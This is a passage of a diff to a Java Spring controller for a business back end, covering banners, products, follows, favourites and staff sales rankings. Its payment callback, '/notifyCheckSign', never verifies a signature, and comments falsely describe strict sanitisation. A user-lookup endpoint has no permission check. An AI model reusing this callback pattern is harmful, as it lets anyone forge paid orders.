org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.bo.SysDeptBo; -import org.dromara.system.domain.bo.SysPictureBo; -import org.dromara.system.domain.bo.SysUserBo; -import org.dromara.system.domain.vo.SysPictureVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.service.ISysPictureService; -import org.dromara.system.service.ISysUserService; -import org.dromara.web.utils.WxXcxUtils; -import org.dromara.work.domain.TpReceipt; -import org.dromara.work.domain.bo.*; -import org.dromara.work.domain.vo.*; -import org.dromara.work.service.*; -import org.springframework.web.bind.annotation.*; - -import java.math.BigDecimal; -import java.util.ArrayList; -import java.util.Date; -import java.util.List; -import java.util.Map; -import java.util.concurrent.TimeUnit; -import java.util.stream.Collectors; - -/** - * 首页 - * - * @author Lion Li - */ -@SaIgnore -@RequiredArgsConstructor -@RestController -public class IndexController { - - /** - * 系统基础配置 - */ - private final RuoYiConfig ruoyiConfig; - - private final ITpOrderService tpOrderService; - - private final ISysUserService sysUserService; - - private final ITpWechatService tpWechatService; - - private final ITpReceiptService tpReceiptService; - - private final IOrderService orderService; - - private final ITpNewOrderService tpNewOrderService; - - private final ISysPictureService sysPictureService; - - private final ITpProdService tpProdService; - - private final ITpFollowService tpFollowService; - - private final ITpWorksService tpWorksService; - - /** - * 访问首页,提示语 - */ - @GetMapping("/") - public String index() { - return StringUtils.format("欢迎使用{}后台管理框架,当前版本:v{},请通过前端地址访问。", ruoyiConfig.getName(), ruoyiConfig.getVersion()); - } - - /** - * 分页获取画册列表 - */ - @GetMapping("/banner") - public R> list(SysPictureBo bo, PageQuery pageQuery) { - bo.setStatus(1L); - return R.ok(sysPictureService.selectPageList(bo, pageQuery)); - } - - /** - * 根据ID获取画册详情 - */ - @GetMapping("/banner/{id}") - public R getSysPictureInfo(@NotNull(message = "主键不能为空") @PathVariable Long id) { - return R.ok(sysPictureService.queryById(id)); - } - - /** - * 分页获取商品列表 - */ - @GetMapping("/prod") - public R> list(TpProdBo bo, PageQuery pageQuery) { - bo.setStatus(1L); - return R.ok(tpProdService.queryPageList(bo, pageQuery)); - } - - /** - * 根据ID获取商品详情 - */ - @GetMapping("/prod/{id}") - public R getTpProdInfo(@NotNull(message = "主键不能为空") @PathVariable Long id) { - return R.ok(tpProdService.queryById(id)); - } - - /** - * 根据url获取微信JS-SDK使用权限签名 - */ - @PostMapping("/wx/jssdk") - public R> getWxJssdk(@RequestParam String url) { - return R.ok(WxXcxUtils.generateSignature(url)); - } - - /** - * 分页获取我的关注列表 - */ - @GetMapping("/follow") - public R> list(TpFollowBo bo, PageQuery pageQuery) { - return R.ok(tpFollowService.queryPageList(bo, pageQuery)); - } - - /** - * 关注 - */ - @PostMapping("/AddFollow") - public R insert(@RequestBody TpFollowBo bo) { - //判断是否已经关注 - TpFollowVo tpFollow = tpFollowService.queryByTpFollow(bo); - if(tpFollow != null){ - return R.fail("已关注"); - } - return R.ok(tpFollowService.insertByBo(bo)); - } - - /** - * 取消关注 - */ - @DeleteMapping("/delFollow") - public R delete(@RequestBody TpFollowBo bo) { - if(bo.getId() != null){ - return R.ok(tpFollowService.deleteWithValidByIds(List.of(bo.getId()), false)); - } - TpFollowVo tpFollow = tpFollowService.queryByTpFollow(bo); - return R.ok(tpFollowService.deleteWithValidByIds(List.of(tpFollow.getId()), false)); - } - - /** - * 查询我是否关注此用户 - */ - @PostMapping("/isFollow") - public R isFollow(@RequestBody TpFollowBo bo) { - return R.ok(tpFollowService.queryByTpFollow(bo) != null); - } - - /** - * 分页获取我的收藏作品列表 - */ - @GetMapping("/tpWorks") - public R> list(TpWorksBo bo, PageQuery pageQuery) { - return R.ok(tpWorksService.queryPageList(bo, pageQuery)); - } - - /** - * 收藏作品 - */ - @PostMapping("/AddWorks") - public R insert(@RequestBody TpWorksBo bo) { - //查询我是否已经收藏了此作品 - TpWorksVo tpWorks = tpWorksService.queryByTpWorks(bo); - if(tpWorks != null){ - return R.fail("已收藏"); - } - return R.ok(tpWorksService.insertByBo(bo)); - } - - /** - * 取消收藏 - */ - @DeleteMapping("/delWorks") - public R delete(@RequestBody TpWorksBo bo) { - if(bo.getId() != null){ - return R.ok(tpWorksService.deleteWithValidByIds(List.of(bo.getId()), false)); - } - TpWorksVo tpWorks = tpWorksService.queryByTpWorks(bo); - return R.ok(tpWorksService.deleteWithValidByIds(List.of(tpWorks.getId()), false)); - } - - /** - * 查询我是否收藏此作品 - */ - @PostMapping("/isWorks") - public R isWorks(@RequestBody TpWorksBo bo) { - return R.ok(tpWorksService.queryByTpWorks(bo) != null); - } - - /** - * 分页获取表现师列表 - */ - @GetMapping("/tpSysUser") - public R> list(SysUserBo bo, PageQuery pageQuery) { - bo.setIdentity(2); - return R.ok(sysUserService.selectPageList(bo, pageQuery)); - } - - /** - * 根据用户ID查询用户信息 - */ - @GetMapping("/sysUser/{id}") - public R getSysUserInfo(@NotNull(message = "用户ID不能为空") @PathVariable Long id) { - return R.ok(sysUserService.selectUserById(id)); - } - - /** - * 银盛支付回调 - * @param params - * @return - */ - @PostMapping(value = "/notifyCheckSign") - @RepeatSubmit(interval = 1, timeUnit = TimeUnit.SECONDS, message = "重复请求") - public String notifyCheckSign(@RequestParam Map params) { - try { - // 校验输入参数并清理潜在危险字符 - validateAndSanitizeParams(params); - String outTradeNo = params.get("out_trade_no"); - if (outTradeNo == null || outTradeNo.isEmpty()) { - return "failure"; - } - // 检查订单是否存在 - boolean exists = tpReceiptService.exists(new LambdaQueryWrapper().eq(TpReceipt::getOutTradeNo, outTradeNo)); - if (exists) { - // 订单已存在 - return "success"; - } - - // 订单不存在且交易状态为成功时,插入新记录 - String tradeStatus = params.get("trade_status"); - if ("TRADE_SUCCESS".equals(tradeStatus)) { - TpReceiptBo tpReceipt = new TpReceiptBo(); - tpReceipt.setQid(80); - tpReceipt.setRemark("小程序收银台T1订单"); - tpReceipt.setOutTradeNo(outTradeNo); - tpReceipt.setTradeNo(params.get("trade_no")); - tpReceipt.setPrice(new BigDecimal(params.get("total_amount"))); - tpReceipt.setHkTime(DateUtils.parseDate(params.get("notify_time"))); - tpReceipt.setAddTime(new Date()); - - // 插入新记录并捕获异常 - try { - tpReceiptService.insertReceipt(tpReceipt); - return "success"; - } catch (Exception e) { - return "failure"; - } - } - return "failure"; - } catch (Exception e) { - return "failure"; - } - } - - private void validateAndSanitizeParams(Map params) { - // 实现严格的参数校验和清理逻辑 - // 例如:去除特殊字符、检查长度、格式等 - // 确保所有参数都是安全的 - if (params == null || params.isEmpty()) { - throw new IllegalArgumentException("参数不能为空"); - } - if (!params.containsKey("out_trade_no") || !params.containsKey("trade_status")) { - throw new IllegalArgumentException("缺少必要参数"); - } - } - - - /** - * 首页统计 - * @return - */ - @GetMapping("/indexSum") - public R indexSum() { - LoginUser loginUser = LoginHelper.getLoginUser(); - if (loginUser.getIdentity() == 2){ - return R.ok(tpOrderService.getJsTarget()); - }else if (loginUser.getIdentity() == 3){ - return R.ok(tpOrderService.getKfTarget()); - } - return R.ok(); - } - - /** - * 更新订单部门状态 - */ - @SaCheckPermission("system:user:edit") - @RepeatSubmit - @PostMapping("/updateOrder") - public R updateOrder(SysUserBo bo) { - return R.ok(orderService.updateOrder(bo)); - } - - - /** - * 客服排行榜 - */ - @SaCheckPermission("index:order:rankingListKF") - @GetMapping("/rankingListKF") - public TableDataInfo rankingListKF(OrderRankingBo bo, PageQuery pageQuery) { - bo.setType(1); - return tpNewOrderService.rankingList(bo, pageQuery); - } - - /** - * 客服排行榜统计 - */ - @SaCheckPermission("index:order:rankingListKF") - @GetMapping("/rankingListKFSum") - public R rankingListKFSum(OrderRankingBo bo) { - bo.setType(1); - return R.ok(tpNewOrderService.rankingListKFSum(bo)); - } - - /** - * 技术排行榜 - */ - @SaCheckPermission("index:order:rankingListJS") - @GetMapping("/rankingListJS") - public TableDataInfo rankingListJS(OrderRankingBo bo, PageQuery pageQuery) { - bo.setType(2); - return tpNewOrderService.rankingListJS(bo, pageQuery); - } - - /** - * 技术排行榜统计 - */ - @SaCheckPermission("index:order:rankingListJS") - @GetMapping("/rankingListJSSum") - public R rankingListJSSum(OrderRankingBo bo) { - bo.setType(2); - return R.ok(tpNewOrderService.rankingListJSSum(bo)); - } - - /** - * 部门排行榜(客服) - */ - @SaCheckPermission("index:order:deptRankingList") - @GetMapping("/deptRankingList") - public R> deptRankingList(SysDeptBo bo) { - return R.ok(orderService.deptRankingList(bo)); - } - - /** - * 部门排行榜(客服单个) - */ - @SaCheckPermission("index:order:deptRankingList") - @GetMapping("/deptRankingList1") - public R> deptRankingList1(SysDeptBo bo) { - return R.ok(orderService.deptRankingList1(bo)); - } - - /** - * 部门排行榜(技术) - */ - @SaCheckPermission("index:order:deptRankingJSList") - @GetMapping("/deptRankingJSList") - public R> deptRankingJSList(SysDeptBo bo) { - return R.ok(orderService.deptRankingJSList(bo)); - } - - /** - * 部门排行榜(技术/单个) - */ - @SaCheckPermission("index:order:deptRankingJSList") - @GetMapping("/deptRankingJSList1") - public R> deptRankingJSList1(SysDeptBo bo) { - return R.ok(orderService.deptRankingJSList1(bo)); - } - - /** - * 客户下单排行榜 - */ - @SaCheckPermission("index:order:khRankingList") - @GetMapping("/khRankingList") - public TableDataInfo khRankingList(OrderRankingBo bo, PageQuery pageQuery) { - return tpNewOrderService.khRankingList(bo, pageQuery); - } - - /** - * 客户下单排行榜统计 - */ - @SaCheckPermission("index:order:khRankingList") - @GetMapping("/khRankingListSum") - public R khRankingListSum(OrderRankingBo bo) { - return R.ok(tpNewOrderService.khRankingListSum(bo)); - } - - /** - * 客服部数据分析(日) - * @param bo - * @return - */ - @SaCheckPermission("index:order:kfDayList") - @GetMapping("/kfDayList") - public TableDataInfo kfDayList(OrderRankingBo bo, PageQuery pageQuery) { - SysUserBo user = new SysUserBo(); - user.setIdentity(3); - user.setStatus("0"); - - if(ObjectUtil.isNotNull(bo.getUserName())){ - user.setNickName(bo.getUserName()); - } - if(bo.getDeptId() != null){ - user.setDeptId(bo.getDeptId()); - } - if (bo.getDeptIds() != null){ - user.setDeptIds(bo.getDeptIds()); - } - /*else { - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - lqw.in(TpOrder::getDeptId,deptIds); - }else if(scope == 3){ - lqw.eq(TpOrder::getDeptId,loginUser.getDeptId()); - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - lqw.in(TpOrder::getDeptId,deptIds); - }else if(scope == 5){ - lqw.eq(TpOrder::getSid,loginUser.getUserId()); - } - }*/ - TableDataInfo list = sysUserService.selectPageGetUserList(user, pageQuery); - List userIds = list.getRows().stream().map(SysUserVo::getUserId).collect(Collectors.toList()); - List listVoList = orderService.kfDayList(bo,userIds); - - TableDataInfo kfDayListVoList = new TableDataInfo<>(); - kfDayListVoList.setCode(list.getCode()); - kfDayListVoList.setMsg(list.getMsg()); - kfDayListVoList.setTotal(list.getTotal()); - List kfList = new ArrayList<>(); - for (SysUserVo vo : list.getRows()){ - KfDayListVo kfDayListVo = new KfDayListVo(); - kfDayListVo.setSid(vo.getUserId()); - kfDayListVo.setName(vo.getNickName()); - kfDayListVo.setList(listVoList.stream().filter(item -> item.getSid().equals(vo.getUserId())).collect(Collectors.toList())); - kfList.add(kfDayListVo); - } - kfDayListVoList.setRows(kfList); - return kfDayListVoList; - } - - - /** - * 微信好友分析(日) - * @param bo - * @return - */ - @SaCheckPermission("index:order:wxDayList") - @GetMapping("/wxDayList") - public TableDataInfo wxDayList(OrderRankingBo bo, PageQuery pageQuery) { - TpWechatBo wechatBo = new TpWechatBo(); - if(bo.getDeptId() != null){ - wechatBo.setCreateDept(bo.getDeptId()); - } - if(ObjectUtil.isNotNull(bo.getUserName())){ - wechatBo.setCode(bo.getUserName()); - } - if(ObjectUtil.isNotNull(bo.getRealName())){ - wechatBo.setUser(bo.getRealName()); - } - TableDataInfo list = tpWechatService.queryPageList(wechatBo, pageQuery); - List wxIds = list.getRows().stream().map(TpWechatVo::getId).collect(Collectors.toList()); - List listVoList = tpWechatService.wxDayList(bo,wxIds); - - TableDataInfo wxDayListVoList = new TableDataInfo<>(); - wxDayListVoList.setCode(list.getCode()); - wxDayListVoList.setMsg(list.getMsg()); - wxDayListVoList.setTotal(list.getTotal()); - List wxList = new ArrayList<>(); - for (TpWechatVo vo : list.getRows()){ - WxDayListVo wxDayListVo = new WxDayListVo(); - wxDayListVo.setId(vo.getId()); - wxDayListVo.setCode(vo.getCode()); - wxDayListVo.setName(vo.getUser()); - wxDayListVo.setList(listVoList.stream().filter(item -> item.getWid().equals(vo.getId())).collect(Collectors.toList())); - wxList.add(wxDayListVo); - - } - wxDayListVoList.setRows(wxList); - return wxDayListVoList; - } - - /** - * 微信好友分析(日) - * @param bo - * @return - */ - @SaCheckPermission("index:order:wxDayList") - @GetMapping("/wxDayList1") - public TableDataInfo wxDayList1(OrderRankingBo bo, PageQuery pageQuery) { - SysUserBo user = new SysUserBo(); - user.setIdentity(3); - user.setStatus("0"); - - if(ObjectUtil.isNotNull(bo.getUserName())){ - user.setNickName(bo.getUserName()); - } - if(bo.getDeptId() != null){ - user.setDeptId(bo.getDeptId()); - } - if (bo.getDeptIds() != null){ - user.setDeptIds(bo.getDeptIds()); - } - TableDataInfo list = sysUserService.selectPageGetUserList(user, pageQuery); - if (!list.getRows().isEmpty()) { - List userIds = list.getRows().stream().map(SysUserVo::getUserId).collect(Collectors.toList()); - - List list1 = tpWechatService.queryListByIds(userIds); - List wxIds = list1.stream().map(TpWechatVo::getId).collect(Collectors.toList()); - List listVoList = tpWechatService.wxDayList(bo,wxIds); - - - TableDataInfo wxDayListVoList = new TableDataInfo<>(); - wxDayListVoList.setCode(list.getCode()); - wxDayListVoList.setMsg(list.getMsg()); - wxDayListVoList.setTotal(list.getTotal()); - List wxList = new ArrayList<>(); - for (TpWechatVo vo : list1){ - WxDayListVo wxDayListVo = new WxDayListVo(); - wxDayListVo.setId(vo.getId()); - wxDayListVo.setCode(vo.getCode()); - wxDayListVo.setUid(vo.getUid()); - wxDayListVo.setName(vo.getUser()); - wxDayListVo.setList(listVoList.stream().filter(item -> item.getWid().equals(vo.getId())).collect(Collectors.toList())); - wxList.add(wxDayListVo); - } - wxDayListVoList.setRows(wxList); - return wxDayListVoList; - } - return TableDataInfo.build(); - } - - - /** - * 微信好友分析(月) - * @param bo - * @return - */ - @SaCheckPermission("index:order:wxMonthList") - @GetMapping("/wxMonthList") - public TableDataInfo wxMonthList(OrderRankingBo bo, PageQuery pageQuery) { - TpWechatBo wechatBo = new TpWechatBo(); - if(bo.getDeptId() != null){ - wechatBo.setCreateDept(bo.getDeptId()); - } - if(ObjectUtil.isNotNull(bo.getUserName())){ - wechatBo.setCode(bo.getUserName()); - } - if(ObjectUtil.isNotNull(bo.getRealName())){ - wechatBo.setUser(bo.getRealName()); - } - TableDataInfo list = tpWechatService.queryPageList(wechatBo, pageQuery); - List wxIds = list.getRows().stream().map(TpWechatVo::getId).collect(Collectors.toList()); - List listVoList = tpWechatService.wxMonthList(bo,wxIds); - - TableDataInfo wxDayListVoList = new TableDataInfo<>(); - wxDayListVoList.setCode(list.getCode()); - wxDayListVoList.setMsg(list.getMsg()); - wxDayListVoList.setTotal(list.getTotal()); - List wxList = new ArrayList<>(); - for (TpWechatVo vo : list.getRows()){ - WxDayListVo wxDayListVo = new WxDayListVo(); - wxDayListVo.setId(vo.getId()); - wxDayListVo.setCode(vo.getCode()); - wxDayListVo.setName(vo.getUser()); - wxDayListVo.setList(listVoList.stream().filter(item -> item.getWid().equals(vo.getId())).collect(Collectors.toList())); - wxList.add(wxDayListVo); - - } - wxDayListVoList.setRows(wxList); - return wxDayListVoList; - } - - - /** - * 技术部数据分析(分图) - * @param bo - * @return - */ - @SaCheckPermission("index:order:ftDayList") - @GetMapping("/ftDayList") - public TableDataInfo ftDayList(OrderRankingBo bo, PageQuery pageQuery) { - SysUserBo user = new SysUserBo(); - user.setIsFty(1); - if(bo.getDeptId() != null){ - user.setDeptId(bo.getDeptId()); - } - if (bo.getDeptIds() != null){ - user.setDeptIds(bo.getDeptIds()); - } - if(ObjectUtil.isNotNull(bo.getUserName())){ - user.setNickName(bo.getUserName()); - } - TableDataInfo list = sysUserService.selectPageGetUserList(user, pageQuery); - List userIds = list.getRows().stream().map(SysUserVo::getUserId).collect(Collectors.toList()); - List listVoList = orderService.ftDayList(bo,userIds); - - TableDataInfo kfDayListVoList = new TableDataInfo<>(); - kfDayListVoList.setCode(list.getCode()); - kfDayListVoList.setMsg(list.getMsg()); - - int i = 0; - List kfList = new ArrayList<>(); - for (SysUserVo vo : list.getRows()){ - boolean containsUserId = listVoList.stream() - .map(OrderDayListVo::getFid).anyMatch(userId -> userId.equals(vo.getUserId())); - if (containsUserId) { - KfDayListVo kfDayListVo = new KfDayListVo(); - kfDayListVo.setSid(vo.getUserId()); - kfDayListVo.setName(vo.getNickName()); - kfDayListVo.setList(listVoList.stream().filter(item -> item.getFid().equals(vo.getUserId())).collect(Collectors.toList())); - kfList.add(kfDayListVo); - } else { - i++; - } - } - kfDayListVoList.setTotal(list.getTotal()-i); - kfDayListVoList.setRows(kfList); - return kfDayListVoList; - } - - - /** - * 技术部数据分析(月) - * @param bo - * @return - */ - @SaCheckPermission("index:order:jsDayList") - @GetMapping("/jsDayList") - public TableDataInfo jsDayList(OrderRankingBo bo, PageQuery pageQuery) { - SysUserBo user = new SysUserBo(); - user.setIdentity(2); - user.setStatus("0"); - if(bo.getDeptId() != null){ - user.setDeptId(bo.getDeptId()); - } - if (bo.getDeptIds() != null){ - user.setDeptIds(bo.getDeptIds()); - } - if(ObjectUtil.isNotNull(bo.getUserName())){ - user.setNickName(bo.getUserName()); - } - TableDataInfo list = sysUserService.selectPageGetUserList(user, pageQuery); - List userIds = list.getRows().stream().map(SysUserVo::getUserId).collect(Collectors.toList()); - List listVoList = orderService.jsDayList(bo,userIds); - - TableDataInfo kfDayListVoList = new TableDataInfo<>(); - kfDayListVoList.setCode(list.getCode()); - kfDayListVoList.setMsg(list.getMsg()); - - int i = 0; - List kfList = new ArrayList<>(); - for (SysUserVo vo : list.getRows()){ - boolean containsUserId = listVoList.stream() - .map(OrderDayListVo::getBid).anyMatch(userId -> userId.equals(vo.getUserId())); - if (containsUserId) { - KfDayListVo kfDayListVo = new KfDayListVo(); - kfDayListVo.setSid(vo.getUserId()); - kfDayListVo.setName(vo.getNickName()); - kfDayListVo.setList(listVoList.stream().filter(item -> item.getBid().equals(vo.getUserId())).collect(Collectors.toList())); - kfList.add(kfDayListVo); - } else { - i++; - } - } - kfDayListVoList.setTotal(list.getTotal()-i); - kfDayListVoList.setRows(kfList); - return kfDayListVoList; - } - - - /** - * 业绩按月统计 - */ - @SaCheckPermission("index:order:monthArrivedPer") - @PostMapping("/monthArrivedPer") - @Parameters({ - @Parameter(name = "month", description = "日期 如:2024-09", required = true), - @Parameter(name = "deptId", description = "部门ID", required = false) - }) - public R> monthArrivedPer(@RequestParam(value = "month") String month, @RequestParam(value = "deptId") Long deptId) { - return R.ok(orderService.monthArrivedPer(month,deptId)); - } - - /** - * 业绩按年统计 - */ - @SaCheckPermission("index:order:yearArrivedPer") - @PostMapping("/yearArrivedPer") - @Parameters({ - @Parameter(name = "year", description = "日期 如:2024", required = true), - @Parameter(name = "deptId", description = "部门ID", required = false) - }) - public R> yearArrivedPer(@RequestParam(value = "year") String year, @RequestParam(value = "deptId") Long deptId) { - return R.ok(orderService.yearArrivedPer(year,deptId)); - } - - - /** - * 订单类型统计 - */ - @SaCheckPermission("index:order:monthOrderType") - @PostMapping("/monthOrderType") - @Parameters({ - @Parameter(name = "month", description = "日期 如:2024-09", required = true), - @Parameter(name = "deptId", description = "部门ID", required = false) - }) - public R> monthOrderType(@RequestParam(value = "month") String month, @RequestParam(value = "deptId") Long deptId) { - return R.ok(orderService.monthOrderType(month,deptId)); - } - - /** - * 订单空间统计 - */ - @SaCheckPermission("index:order:monthOrderSpace") - @PostMapping("/monthOrderSpace") - @Parameters({ - @Parameter(name = "month", description = "日期 如:2024-09", required = true), - @Parameter(name = "deptId", description = "部门ID", required = false) - }) - public R> monthOrderSpace(@RequestParam(value = "month") String month, @RequestParam(value = "deptId") Long deptId) { - return R.ok(orderService.monthOrderSpace(month,deptId)); - } - - /** - * 订单风格统计 - */ - @SaCheckPermission("index:order:monthOrderStyle") - @PostMapping("/monthOrderStyle") - @Parameters({ - @Parameter(name = "month", description = "日期 如:2024-09", required = true), - @Parameter(name = "deptId", description = "部门ID", required = false) - }) - public R> monthOrderStyle(@RequestParam(value = "month") String month, @RequestParam(value = "deptId") Long deptId) { - return R.ok(orderService.monthOrderStyle(month,deptId)); - } - - - /** - * 新老客户占比 - */ - @SaCheckPermission("index:order:newOldOrderPer") - @PostMapping("/newOldOrderPer") - @Parameters({ - @Parameter(name = "month", description = "日期 如:2024-09", required = true), - @Parameter(name = "deptId", description = "部门ID", required = false) - }) - public R> newOldOrderPer(@RequestParam(value = "month") String month, @RequestParam(value = "deptId") Long deptId) { - return R.ok(orderService.newOldOrderPer(month,deptId)); - } -} +package org.dromara.web.controller; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.dev33.satoken.annotation.SaIgnore; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import io.swagger.v3.oas.annotations.Parameter; +import io.swagger.v3.oas.annotations.Parameters; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.config.RuoYiConfig; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.utils.DateUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.bo.SysDeptBo; +import org.dromara.system.domain.bo.SysPictureBo; +import org.dromara.system.domain.bo.SysUserBo; +import org.dromara.system.domain.vo.SysPictureVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.service.ISysPictureService; +import org.dromara.system.service.ISysUserService; +import org.dromara.web.utils.WxXcxUtils; +import org.dromara.work.domain.TpReceipt; +import org.dromara.work.domain.bo.*; +import org.dromara.work.domain.vo.*; +import org.dromara.work.service.*; +import org.springframework.web.bind.annotation.*; + +import java.math.BigDecimal; +import java.util.ArrayList; +import java.util.Date; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +/** + * 首页 + * + * @author Lion Li + */ +@SaIgnore +@RequiredArgsConstructor +@RestController +public class IndexController { + + /** + * 系统基础配置 + */ + private final RuoYiConfig ruoyiConfig; + + private final ITpOrderService tpOrderService; + + private final ISysUserService sysUserService; + + private final ITpWechatService tpWechatService; + + private final ITpReceiptService tpReceiptService; + + private final IOrderService orderService; + + private final ITpNewOrderService tpNewOrderService; + + private final ISysPictureService sysPictureService; + + private final ITpProdService tpProdService; + + private final ITpFollowService tpFollowService; + + private final ITpWorksService tpWorksService; + + /** + * 访问首页,提示语 + */ + @GetMapping("/") + public String index() { + return StringUtils.format("欢迎使用{}后台管理框架,当前版本:v{},请通过前端地址访问。", ruoyiConfig.getName(), ruoyiConfig.getVersion()); + } + + /** + * 分页获取画册列表 + */ + @GetMapping("/banner") + public R> list(SysPictureBo bo, PageQuery pageQuery) { + bo.setStatus(1L); + return R.ok(sysPictureService.selectPageList(bo, pageQuery)); + } + + /** + * 根据ID获取画册详情 + */ + @GetMapping("/banner/{id}") + public R getSysPictureInfo(@NotNull(message = "主键不能为空") @PathVariable Long id) { + return R.ok(sysPictureService.queryById(id)); + } + + /** + * 分页获取商品列表 + */ + @GetMapping("/prod") + public R> list(TpProdBo bo, PageQuery pageQuery) { + bo.setStatus(1L); + return R.ok(tpProdService.queryPageList(bo, pageQuery)); + } + + /** + * 根据ID获取商品详情 + */ + @GetMapping("/prod/{id}") + public R getTpProdInfo(@NotNull(message = "主键不能为空") @PathVariable Long id) { + return R.ok(tpProdService.queryById(id)); + } + + /** + * 根据url获取微信JS-SDK使用权限签名 + */ + @PostMapping("/wx/jssdk") + public R> getWxJssdk(@RequestParam String url) { + return R.ok(WxXcxUtils.generateSignature(url)); + } + + /** + * 分页获取我的关注列表 + */ + @GetMapping("/follow") + public R> list(TpFollowBo bo, PageQuery pageQuery) { + return R.ok(tpFollowService.queryPageList(bo, pageQuery)); + } + + /** + * 关注 + */ + @PostMapping("/AddFollow") + public R insert(@RequestBody TpFollowBo bo) { + //判断是否已经关注 + TpFollowVo tpFollow = tpFollowService.queryByTpFollow(bo); + if(tpFollow != null){ + return R.fail("已关注"); + } + return R.ok(tpFollowService.insertByBo(bo)); + } + + /** + * 取消关注 + */ + @DeleteMapping("/delFollow") + public R delete(@RequestBody TpFollowBo bo) { + if(bo.getId() != null){ + return R.ok(tpFollowService.deleteWithValidByIds(List.of(bo.getId()), false)); + } + TpFollowVo tpFollow = tpFollowService.queryByTpFollow(bo); + return R.ok(tpFollowService.deleteWithValidByIds(List.of(tpFollow.getId()), false)); + } + + /** + * 查询我是否关注此用户 + */ + @PostMapping("/isFollow") + public R isFollow(@RequestBody TpFollowBo bo) { + return R.ok(tpFollowService.queryByTpFollow(bo) != null); + } + + /** + * 分页获取我的收藏作品列表 + */ + @GetMapping("/tpWorks") + public R> list(TpWorksBo bo, PageQuery pageQuery) { + return R.ok(tpWorksService.queryPageList(bo, pageQuery)); + } + + /** + * 收藏作品 + */ + @PostMapping("/AddWorks") + public R insert(@RequestBody TpWorksBo bo) { + //查询我是否已经收藏了此作品 + TpWorksVo tpWorks = tpWorksService.queryByTpWorks(bo); + if(tpWorks != null){ + return R.fail("已收藏"); + } + return R.ok(tpWorksService.insertByBo(bo)); + } + + /** + * 取消收藏 + */ + @DeleteMapping("/delWorks") + public R delete(@RequestBody TpWorksBo bo) { + if(bo.getId() != null){ + return R.ok(tpWorksService.deleteWithValidByIds(List.of(bo.getId()), false)); + } + TpWorksVo tpWorks = tpWorksService.queryByTpWorks(bo); + return R.ok(tpWorksService.deleteWithValidByIds(List.of(tpWorks.getId()), false)); + } + + /** + * 查询我是否收藏此作品 + */ + @PostMapping("/isWorks") + public R isWorks(@RequestBody TpWorksBo bo) { + return R.ok(tpWorksService.queryByTpWorks(bo) != null); + } + + /** + * 分页获取表现师列表 + */ + @GetMapping("/tpSysUser") + public R> list(SysUserBo bo, PageQuery pageQuery) { + bo.setIdentity(2); + return R.ok(sysUserService.selectPageList(bo, pageQuery)); + } + + /** + * 根据用户ID查询用户信息 + */ + @GetMapping("/sysUser/{id}") + public R getSysUserInfo(@NotNull(message = "用户ID不能为空") @PathVariable Long id) { + return R.ok(sysUserService.selectUserById(id)); + } + + /** + * 银盛支付回调 + * @param params + * @return + */ + @PostMapping(value = "/notifyCheckSign") + @RepeatSubmit(interval = 1, timeUnit = TimeUnit.SECONDS, message = "重复请求") + public String notifyCheckSign(@RequestParam Map params) { + try { + // 校验输入参数并清理潜在危险字符 + validateAndSanitizeParams(params); + String outTradeNo = params.get("out_trade_no"); + if (outTradeNo == null || outTradeNo.isEmpty()) { + return "failure"; + } + // 检查订单是否存在 + boolean exists = tpReceiptService.exists(new LambdaQueryWrapper().eq(TpReceipt::getOutTradeNo, outTradeNo)); + if (exists) { + // 订单已存在 + return "success"; + } + + // 订单不存在且交易状态为成功时,插入新记录 + String tradeStatus = params.get("trade_status"); + if ("TRADE_SUCCESS".equals(tradeStatus)) { + TpReceiptBo tpReceipt = new TpReceiptBo(); + tpReceipt.setQid(80); + tpReceipt.setRemark("小程序收银台T1订单"); + tpReceipt.setOutTradeNo(outTradeNo); + tpReceipt.setTradeNo(params.get("trade_no")); + tpReceipt.setPrice(new BigDecimal(params.get("total_amount"))); + tpReceipt.setHkTime(DateUtils.parseDate(params.get("notify_time"))); + tpReceipt.setAddTime(new Date()); + + // 插入新记录并捕获异常 + try { + tpReceiptService.insertReceipt(tpReceipt); + return "success"; + } catch (Exception e) { + return "failure"; + } + } + return "failure"; + } catch (Exception e) { + return "failure"; + } + } + + private void validateAndSanitizeParams(Map params) { + // 实现严格的参数校验和清理逻辑 + // 例如:去除特殊字符、检查长度、格式等 + // 确保所有参数都是安全的 + if (params == null || params.isEmpty()) { + throw new IllegalArgumentException("参数不能为空"); + } + if (!params.containsKey("out_trade_no") || !params.containsKey("trade_status")) { + throw new IllegalArgumentException("缺少必要参数"); + } + } + + + /** + * 首页统计 + * @return + */ + @GetMapping("/indexSum") + public R indexSum() { + LoginUser loginUser = LoginHelper.getLoginUser(); + if (loginUser.getIdentity() == 2){ + return R.ok(tpOrderService.getJsTarget()); + }else if (loginUser.getIdentity() == 3){ + return R.ok(tpOrderService.getKfTarget()); + } + return R.ok(); + } + + /** + * 更新订单部门状态 + */ + @SaCheckPermission("system:user:edit") + @RepeatSubmit + @PostMapping("/updateOrder") + public R updateOrder(SysUserBo bo) { + return R.ok(orderService.updateOrder(bo)); + } + + + /** + * 客服排行榜 + */ + @SaCheckPermission("index:order:rankingListKF") + @GetMapping("/rankingListKF") + public TableDataInfo rankingListKF(OrderRankingBo bo, PageQuery pageQuery) { + bo.setType(1); + return tpNewOrderService.rankingList(bo, pageQuery); + } + + /** + * 客服排行榜统计 + */ + @SaCheckPermission("index:order:rankingListKF") + 